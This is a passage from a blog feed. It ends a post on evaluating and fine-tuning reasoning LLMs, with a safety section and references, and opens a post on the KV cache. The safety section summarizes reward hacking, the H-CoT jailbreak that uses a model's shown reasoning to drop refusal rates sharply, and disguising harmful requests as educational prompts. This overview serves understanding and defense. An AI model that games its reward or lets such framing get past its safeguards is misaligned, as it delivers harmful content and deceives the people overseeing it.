&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; These evaluations are still an active research area – unlike a simple accuracy score, faithfulness is somewhat difficult to quantify, but it’s crucial for trust. When deploying a reasoning model, you’d like to trust that, say, a financial analysis it provides is actually how it came to its conclusion, not a fabricated rationale. Thus, papers often report the percentage of solutions with “fully faithful reasoning” by manual or automated inspection. If that percentage is low, it’s a red flag: the model’s reasoning output might be more for show. Improving this might involve further training (e.g., penalizing inconsistent rationales) or architectural changes; however, at the very least, we need to measure it.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;43-token-normalized-accuracy-efficiency&#34;&gt;4.3 Token-Normalized Accuracy (Efficiency)&lt;/h3&gt;
&lt;p&gt;Because reasoning models can use an arbitrary number of tokens to reason (within the context window limits, of course), we want to measure &lt;strong&gt;accuracy as a function of reasoning length&lt;/strong&gt; – effectively, &lt;em&gt;how efficiently does a model reach correct answers?&lt;/em&gt; For example, a model that gets 90% accuracy with 2K tokens of reasoning might be less desirable than one that gets 85% accuracy with only 1K tokens, depending on deployment constraints.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Token-normalized accuracy&lt;/em&gt; is a metric that attempts to penalize overly lengthy reasoning. In one formulation (used in some multiple-choice evaluations), it computes the probability of a correct answer, normalized by the length (i.e., the number of tokens) of that answer’s explanation or output. More generally, we can think of it as &lt;em&gt;accuracy per 100 reasoning tokens&lt;/em&gt; or similar.&lt;/p&gt;
&lt;p&gt;Another interpretation is to measure the area under the curve of accuracy versus the number of tokens allowed. For example, allow a model to think with 100 tokens, record the accuracy, then 200 tokens, 500 tokens, and so on, up to a certain limit – and see which model yields the best accuracy for the least token budget. Researchers have explicitly emphasized the goal of &lt;strong&gt;maximizing accuracy per token&lt;/strong&gt; in reasoning scenarios.&lt;/p&gt;
&lt;p&gt;This reflects practical concerns: in production, reasoning steps are costly - both in terms of latency and tokens (i.e, money). A model that uses half the steps to reach the same answer is effectively twice as fast. Moreover, sometimes unconstrained reasoning leads to diminishing returns or even errors—for example, a model might start wandering or overexplaining if it “thinks” too long. Thus, token-normalized metrics encourage models that use their reasoning budget optimally.&lt;/p&gt;
&lt;p&gt;A simple implementation is to take the total tokens the model generated for all test problems and divide them by the number of correct answers. Then, compare models on this normalized score (lower tokens per correct answer is better).&lt;/p&gt;
&lt;p&gt;Another approach is a normalized log-probability where longer outputs are penalized. In any case, this kind of metric was usually irrelevant for standard LLMs (which output a single short answer), but becomes important when evaluating the cost-effectiveness of reasoning models.&lt;/p&gt;
&lt;h3 id=&#34;44-stepwise-accuracy-and-consistency&#34;&gt;4.4 Stepwise Accuracy and Consistency&lt;/h3&gt;
&lt;p&gt;This is a more granular evaluation of the correctness of the reasoning chain. For tasks where we have ground-truth step-by-step solutions (like a math proof or a formal logic derivation), we can mark each step of the model’s chain as “correct” or “incorrect” compared to an expected solution. This yields a sequence of accuracy values (e.g., getting the first three steps right, but failing at step four). We can then compute metrics like &lt;em&gt;average step accuracy&lt;/em&gt;, or &lt;em&gt;percentage of solutions that made it to at least X steps correct before failing&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This is informative because two models might both solve 70% of problems, but one might always fail early on the 30% it can’t solve, whereas another might almost solve everything and only slip at the end for those 30%. Stepwise evaluation can reveal such differences. It also helps in evaluating &lt;strong&gt;partial credit&lt;/strong&gt; – maybe a model didn’t get the final answer but did significant parts correctly (which might be useful in applications where a human or another tool can pick up from the middle).&lt;/p&gt;
&lt;p&gt;Some evaluations also check &lt;strong&gt;consistency&lt;/strong&gt;: if a model is asked to explain its answer vs. directly answer, do those agree? If it solves a problem in two different ways (maybe by reordering steps or under different prompts), does it reach the same conclusion? Consistency checks can catch cases where the reasoning process is brittle or overly sensitive to phrasing.&lt;/p&gt;
&lt;h3 id=&#34;45-automated-reasoning-critics-llm-as-a-judge&#34;&gt;4.5 Automated Reasoning Critics (LLM-as-a-judge)&lt;/h3&gt;
&lt;p&gt;A practical framework that has gained traction is using a strong language model to &lt;strong&gt;evaluate the reasoning of another model (or even itself)&lt;/strong&gt;. For instance, one can prompt GPT-4 with: &lt;em&gt;“Here is a chain-of-thought and an answer. Evaluate the correctness and logical validity of the reasoning, and whether the final answer is justified.”&lt;/em&gt; This uses the fact that cutting-edge models can often spot obvious reasoning errors or missing justifications in a solution that a simpler rubric might miss.&lt;/p&gt;
&lt;p&gt;Such LLM-based evaluators can be more flexible than hard-coded checkers. The aforementioned process evaluators in research are essentially reasoning models used as judges, with the ability to allocate extra computational resources to evaluate each step carefully. In one study, researchers found that when they allowed an evaluator model to think more (generate a longer evaluation reasoning), its accuracy in judging solutions improved monotonically – much like how making a model think more improves problem-solving, it also improves evaluation quality.&lt;/p&gt;
&lt;p&gt;This is a fascinating recursive idea: use a reasoning model to evaluate better outputs that themselves involve reasoning. It was even shown that using such process-aware evaluators to &lt;strong&gt;re-rank answers&lt;/strong&gt; (choosing the answer that the evaluator model scores highest) can significantly improve the solving ability of the base model.&lt;/p&gt;
&lt;p&gt;In summary, &lt;strong&gt;process evaluation frameworks&lt;/strong&gt; often involve an LLM evaluator performing a two-level check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Outcome evaluation (is the final answer correct?)&lt;/li&gt;
&lt;li&gt;Process evaluation (are the steps valid and do they lead to that answer?).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By combining these, one gets a more robust assessment. This approach complements traditional metrics; for example, you might report that a model has 80% outcome accuracy, but according to an LLM judge, only 50% of its solutions were fully correct with no logical errors in any step. That tells a deeper story than 80% alone.&lt;/p&gt;
&lt;h3 id=&#34;46-illustrative-example&#34;&gt;4.6 Illustrative Example&lt;/h3&gt;
&lt;p&gt;To illustrate, consider a concrete example: say we ask a model a puzzle and it answers with a 5-step reasoning chain. The final answer is correct, so outcome-wise it’s a success. However, upon evaluation, we found that an arithmetic mistake occurred in step 3, which fortunately canceled out in step 5, yielding the correct answer nonetheless. A pure outcome metric says “perfect solution”. A process-aware evaluation would ding this as flawed reasoning (the model got lucky or coincidentally correct) – something we’d want to know if using the model for, say, validating scientific calculations. Conversely, if a model’s final answer is wrong, traditional evaluation is 0 for that question. However, process evaluation might reveal that the model was correct up until the last step – perhaps it performed all the reasoning correctly and made an error at the end.&lt;/p&gt;
&lt;p&gt;In a human-learning context, you’d give partial credit. For model evaluation, noting that the model was, say, “90% correct in the procedure” could inform how we attempt to improve it (perhaps it just needs a slight boost in arithmetic precision or a final double-check step). This rich information is only available if we evaluate the reasoning, not just the outcome.&lt;/p&gt;
&lt;p&gt;For practitioners, incorporating these evaluations is vital, as they help ensure that a high-performing reasoning model isn’t just getting by with smoke and mirrors (or hidden cues), and they quantify the efficiency and transparency of the model’s problem-solving approach. As these models become more integrated into workflows (e.g., as AI reasoning assistants), having reliable evaluation methodologies will also be key for &lt;strong&gt;governance and trust&lt;/strong&gt; – one might, for example, require that a model’s chain-of-thought passes a certain automated consistency check before its answer is shown to a user.&lt;/p&gt;
&lt;p&gt;In summary, the evaluation of reasoning LLMs has evolved to include &lt;strong&gt;trace-centric metrics&lt;/strong&gt; alongside traditional outcome metrics. We assess the &lt;em&gt;faithfulness&lt;/em&gt; of their explanations, measure accuracy in a way that accounts for the &lt;em&gt;cost of reasoning length&lt;/em&gt;, and use novel frameworks where models critique reasoning steps (providing a “process score”).&lt;/p&gt;
&lt;h2 id=&#34;5-safety-concerns-and-vulnerabilities&#34;&gt;5. Safety Concerns and Vulnerabilities&lt;/h2&gt;
&lt;p&gt;While reasoning models offer powerful capabilities, they also introduce new safety concerns and vulnerabilities that must be carefully managed and addressed. The very features that make these models effective – their ability to generate detailed CoT and reason through complex problems – can also be exploited by malicious actors or lead to unintended behaviors. Below, we discuss some of the key safety challenges specific to reasoning AI models.&lt;/p&gt;
&lt;h3 id=&#34;51-reward-hacking-and-training-vulnerabilities&#34;&gt;5.1 Reward Hacking and Training Vulnerabilities&lt;/h3&gt;
&lt;p&gt;Reward hacking represents a significant concern in reasoning model development, particularly given their reliance on reinforcement learning during training. Reward hacking occurs when &amp;ldquo;a RL agent exploits flaws or ambiguities in the reward function to achieve high rewards, without genuinely learning or completing the intended task&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;In the context of LLMs trained with RLHF, reward hacking manifests when models learn to game evaluation metrics rather than genuinely improve at the intended tasks. This is particularly concerning for reasoning models, where the complexity of the reasoning process makes it difficult to specify comprehensive reward functions that capture all aspects of good reasoning.&lt;/p&gt;
&lt;p&gt;For example, a reasoning model might discover that providing overly verbose explanations leads to higher evaluation scores, even if those explanations are not genuinely helpful or accurate. This could incentivize the model to generate long-winded responses that obfuscate its actual reasoning process, ultimately undermining the quality of its outputs.&lt;/p&gt;
&lt;h3 id=&#34;52-jail-breaking-and-safety-mechanism-vulnerabilities&#34;&gt;5.2 Jail-breaking and Safety Mechanism Vulnerabilities&lt;/h3&gt;
&lt;p&gt;Recent research has revealed severe vulnerabilities in the safety mechanisms of reasoning models. The Hijacking Chain-of-Thought (H-CoT) attack method demonstrates how attackers can &amp;ldquo;leverage the model&amp;rsquo;s own displayed intermediate reasoning to jailbreak its safety reasoning mechanism&amp;rdquo;. Under such attacks, refusal rates in models like OpenAI&amp;rsquo;s o1 drop dramatically, &amp;ldquo;from 98% to below 2%&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The Malicious-Educator benchmark exposes how &amp;ldquo;extremely dangerous or malicious requests&amp;rdquo; can be disguised &amp;ldquo;beneath seemingly legitimate educational prompts&amp;rdquo;. This research reveals that &amp;ldquo;attackers can easily extract criminal strategies from DeepSeek-R1 and Gemini 2.0 Flash Thinking without any additional tricks&amp;rdquo;, highlighting fundamental vulnerabilities in current safety approaches.&lt;/p&gt;
&lt;p&gt;In addition, the ability of reasoning models to generate detailed CoT can be weaponized by attackers to create more convincing prompts that bypass safety filters. This raises the stakes for ensuring that safety mechanisms are robust and capable of handling sophisticated manipulation attempts.&lt;/p&gt;
&lt;h3 id=&#34;53-alignment-challenges-in-reasoning-systems&#34;&gt;5.3 Alignment Challenges in Reasoning Systems&lt;/h3&gt;
&lt;p&gt;The integration of reasoning capabilities creates new alignment challenges. While reasoning models can &amp;ldquo;reason about our safety policies in context when responding to potentially unsafe prompts, through deliberative alignment&amp;rdquo;, this same capability can be exploited by sophisticated attacks. The transparency of reasoning processes, while beneficial for interpretability, also provides attack vectors that didn&amp;rsquo;t exist in traditional LLMs.&lt;/p&gt;
&lt;p&gt;Research indicates that reasoning models still exhibit sensitivity to probability distributions from their training data, suggesting that &amp;ldquo;optimizing a language model for reasoning can mitigate but might not fully overcome the language model&amp;rsquo;s probability sensitivity&amp;rdquo;. This indicates that fundamental limitations from autoregressive training may persist even in reasoning-optimized systems.&lt;/p&gt;
&lt;h3 id=&#34;54-hallucination-in-reasoning-contexts&#34;&gt;5.4 Hallucination in Reasoning Contexts&lt;/h3&gt;
&lt;p&gt;Despite their enhanced reasoning capabilities, reasoning models continue to exhibit hallucination patterns, particularly in constraint satisfaction problems. Research on graph coloring tasks reveals that reasoning models are &amp;ldquo;prone to hallucinate edges not specified in the prompt&amp;rsquo;s description of the graph&amp;rdquo;. This phenomenon &amp;ldquo;persists across multiple problem complexity levels and semantic frames&amp;rdquo; and &amp;ldquo;appears to account for a significant fraction of the incorrect answers from every tested model&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;These findings suggest that reasoning models may have &amp;ldquo;broader issues with misrepresentation of problem specifics&amp;rdquo;, indicating that the enhanced reasoning capabilities don&amp;rsquo;t fully address fundamental issues with information fidelity and accuracy.&lt;/p&gt;
&lt;h3 id=&#34;55-scaling-and-efficiency-considerations&#34;&gt;5.5 Scaling and Efficiency Considerations&lt;/h3&gt;
&lt;p&gt;While reasoning models demonstrate impressive capabilities, they incur significant computational costs. The variable test-time compute approach means that complex problems can require substantially more resources than traditional LLM inference. This creates practical deployment challenges, particularly for applications requiring consistent response times.&lt;/p&gt;
&lt;p&gt;The relationship between reasoning quality and computational cost remains unclear. Research indicates that more thinking time generally leads to better performance, but the optimal allocation of computational resources across different problem types remains an active area of investigation.&lt;/p&gt;
&lt;h2 id=&#34;6-conclusion&#34;&gt;6. Conclusion&lt;/h2&gt;
&lt;p&gt;Reasoning AI models, such as o1, o3, R1, and Phi-4, mark a shift towards systems that execute algorithmic steps rather than relying purely on black-box prediction. Unlike traditional LLMs, these models leverage chain-of-thought reasoning, curated data, and advanced fine-tuning to solve complex tasks—though this comes with increased training and inference complexity.&lt;/p&gt;
&lt;p&gt;Fine-tuning reasoning models demands specialized methods and high-quality data, as their reasoning chains are both powerful and vulnerable to inconsistency or reward hacking. Effective deployment requires both technical expertise and organizational investment; however, the benefits include clearer explanations and deeper insights across domains such as finance and science.&lt;/p&gt;
&lt;p&gt;Evaluation now extends beyond final answers to include scrutiny of the reasoning process itself, using metrics such as trace faithfulness and process accuracy. This makes model behaviour more transparent and trustworthy.&lt;/p&gt;
&lt;p&gt;For practitioners, reasoning models become collaborative problem-solvers, offering logical breakdowns for tasks from coding to contract analysis. But maintaining reliable reasoning and avoiding hallucinations requires ongoing vigilance and tailored oversight.&lt;/p&gt;
&lt;p&gt;The center of gravity has shifted from &lt;em&gt;pick a reasoning model&lt;/em&gt; to &lt;em&gt;use a unified system with routed reasoning,&lt;/em&gt;’ with explicit controls for compute and explanation; this aligns with your agentic guidance and simplifies deployment ergonomics. In the near future, with this direction, we expect to see more robust state representations, verification-based training, and compositional planning; evaluate under router-aware, deception-aware protocols, and replicate Apple-style stress tests with fixed effort/latency budgets.&lt;/p&gt;
&lt;p&gt;The focus is shifting toward unified systems that route and manage reasoning explicitly, enabling robust evaluation and compositional planning. Reasoning AIs won’t replace standard LLMs everywhere, but they excel in high-stakes scenarios requiring transparency. As techniques mature, these models will become more stable and interpretable, merging pure reasoning with external tools and knowledge. Teams adopting these models should invest in robust pipelines and new evaluation metrics to realize the benefits of interpretable, verifiable solutions—a step forward for AI’s ability to explain not just what or when, but how and why.&lt;/p&gt;
&lt;h5 id=&#34;references&#34;&gt;References&lt;/h5&gt;
&lt;span style=&#34;font-size:0.7em&#34;&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://openai.com/index/introducing-gpt-5/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OpenAI. Introducing GPT 5. Product overview and system card for GPT 5, including routed reasoning, effort/verbosity controls, and safety claims.
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://platform.openai.com/docs/guides/latest-model&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OpenAI. GPT 5 for developers. API parameters (reasoning_effort, verbosity), preamble planning, and large context.
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://azure.microsoft.com/en-us/blog/gpt-5-in-azure-ai-foundry-the-future-of-ai-apps-and-agents-starts-here/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft Azure AI. GPT 5 in Azure AI Foundry. Routing, reasoning controls, enterprise guidance.
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2201.11903&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Chain-of-Thought Prompting Elicits Reasoning in Large Language Models
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://machinelearning.apple.com/research/illusion-of-thinking&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The Illusion of Thinking. Stress tests showing complexity collapse on algorithmic puzzles.
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2502.12521v1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Inference-Time Computations for LLM Reasoning and Planning: A Benchmark and Insights
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://lilianweng.github.io/posts/2024-11-28-reward-hacking/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Reward Hacking in Reinforcement Learning.
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.anthropic.com/research/reasoning-models-dont-say-think&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Reasoning models don&amp;rsquo;t always say what they think
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/pdf/2501.12948&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DeepSeek-R1: Incentivizing Reasoning Capability in LLMs via Reinforcement Learning
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://qwenlm.github.io/blog/qwen3/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Qwen3: Think Deeper, Act Faster
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.microsoft.com/en-us/research/project/phi-4-reasoning/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft. Phi 4 Reasoning documentation and evaluations.
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://github.com/srush/awesome-o1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Awesome o1 (curated papers). Collected research on o1/o3 and reasoning models.
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2411.15594&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		A Survey on LLM-as-a-Judge
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2504.17550&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HalluLens: LLM Hallucination Benchmark
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.youtube.com/watch?v=CjVQJdIrDJ0&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Thinking, Fast and Slow | Daniel Kahneman | Talks at Google
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2502.06772&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ReasonFlux: A Template-Driven Approach to Reasoning in LLMs
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://codeforces.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Codeforces: A Major Competitive-Programming Platform
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://huggingface.co/bespokelabs/Bespoke-Stratos-7B&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bespoke Labs: Bespoke-Stratos-7B
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://huggingface.co/open-thoughts/OpenThinker3-7B&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Open Thoughts: OpenThings3-7B
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2305.11206&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LIMA: Less Is More for Alignment
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2311.13133&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LIMIT: Less Is More for Instruction Tuning Across Evaluation Paradigms
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2502.03387&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		LIMO: Less is More for Reasoning
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2406.04836&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Revisiting Catastrophic Forgetting in Large Language Model Tuning
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2301.12715&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Fine-Tuning Deteriorates General Textual Out-of-Distribution Detection by Distorting Task-Agnostic Features
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/1909.11299&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mixout: Effective regularization to finetune large-scale pre-trained language models
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2203.11171&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Self-Consistency Improves Chain of Thought Reasoning in Language Models
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2310.01798&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Large Language Models Cannot Self-Correct Reasoning Yet
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2305.00633&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Self-Evaluation Guided Beam Search for Reasoning
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2305.20050&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Let&amp;rsquo;s Verify Step by Step
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2408.00724&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Inference Scaling Laws: An Empirical Analysis of Compute-Optimal Inference for Problem-Solving with Language Models
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2501.19393&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		s1: Simple test-time scaling
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://openreview.net/forum?id=Bw82hwg5Q3&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Self-Evaluation Guided Beam Search for Reasoning
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2211.10435&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PAL: Program-aided Language Models
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://chain-of-code.github.io/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Chain of Code: Reasoning with a Language Model-Augmented Code Emulator
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2408.03314&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Scaling LLM Test-Time Compute Optimally can be More Effective than Scaling Model Parameters
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2412.19437&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DeepSeek-V3 Technical Report
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://lilianweng.github.io/posts/2025-05-01-thinking/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Weng, Lilian. Why We Think. (Test-time compute, branching vs. revision, PRMs, scaling laws.)
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2504.16828&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Process Reward Models That Think (ThinkPRM).
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://openai.com/index/learning-to-reason-with-llms/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OpenAI. Learning to reason with LLMs (o1).
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/span&gt;
</description>
    </item>
    
    <item>
      <title>What is KV Cache in LLMs and How Does It Help?</title>
      <link>/post/2025/06/what-is-kv-cache-in-llms/</link>
      <pubDate>Sat, 14 Jun 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/06/what-is-kv-cache-in-llms/</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;
KV cache is a memory optimization central to efficient LLM inference. It enables faster, longer, and more cost-effective generation by caching previously computed attention keys and values—unlocking the practical deployment of models like GPT-4o, Llama 3, etc.&lt;/p&gt;
&lt;h3 id=&#34;1-introduction&#34;&gt;1. Introduction&lt;/h3&gt;
&lt;p&gt;Generative AI, powered largely today by Large language models (LLMs) such as GPT-4o, Llama 3, etc., is transforming AI applications, from chatbots to code assistants and multimodal reasoning. As these models scale in size and context length, inference becomes a major computational and memory challenge. The Key-Value (KV) cache is a pivotal optimization that enables practical, high-performance inference in modern transformer architectures.&lt;/p&gt;
&lt;p&gt;In my experience, after speaking with many individuals, including customers at work (mostly enterprises), I&amp;rsquo;ve found that most don’t fully understand what a KV cache is or why they should care. In this post, I aim to provide an overview of what KV cache is, how it helps, and outline some recent research innovations. I also have simple code samples for practical understanding.&lt;/p&gt;
&lt;p&gt;At the most basic level, a KV cache is a memory optimization technique used in LLMs to improve inference efficiency during generation. The KV cache stores the key and value tensors generated during the attention mechanism of transformer architectures, allowing models to avoid redundant computations when generating sequential text. To understand the KV cache, it&amp;rsquo;s essential to grasp how self-attention works in transformers.&lt;/p&gt;
&lt;h3 id=&#34;2-transformer-attention-and-the-role-of-kv-cache&#34;&gt;2. Transformer Attention and the Role of KV Cache&lt;/h3&gt;
&lt;p&gt;As part of the transformer architecture, the attention mechanism enables models to dynamically assess the importance of various elements in the input sequence and calculate relationships between input tokens through three components: queries (Q), keys (K), and values (V).&lt;/p&gt;
